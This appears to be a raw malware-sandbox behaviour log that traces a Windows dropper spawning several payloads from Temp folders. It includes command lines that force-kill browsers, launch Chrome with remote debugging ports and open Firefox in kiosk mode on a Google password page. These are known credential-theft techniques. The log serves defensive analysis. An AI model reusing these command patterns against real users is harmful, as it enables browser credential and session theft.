Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe "C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe"
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2592 --field-trial-handle=2564,i,10375856777782342595,11101755798291290968,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe "C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe "C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe"
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe "C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe "C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe "C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe "C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe "C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2136,i,3555858156391927217,5472966938695166006,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe "C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8933ed6b-7c20-48c8-85a4-b2c0216a6aa6} 1976 "\\.\pipe\gecko-crash-server-pipe.1976" 2ae9bf6f110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3440 -parentBuildID 20230927232528 -prefsHandle 4180 -prefMapHandle 4176 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2540b340-fb7a-4163-990f-769b33af6a3c} 1976 "\\.\pipe\gecko-crash-server-pipe.1976" 2aeae42fa10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2592 --field-trial-handle=2564,i,10375856777782342595,11101755798291290968,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe	Section loaded: netutils.dll	Jump to behavior
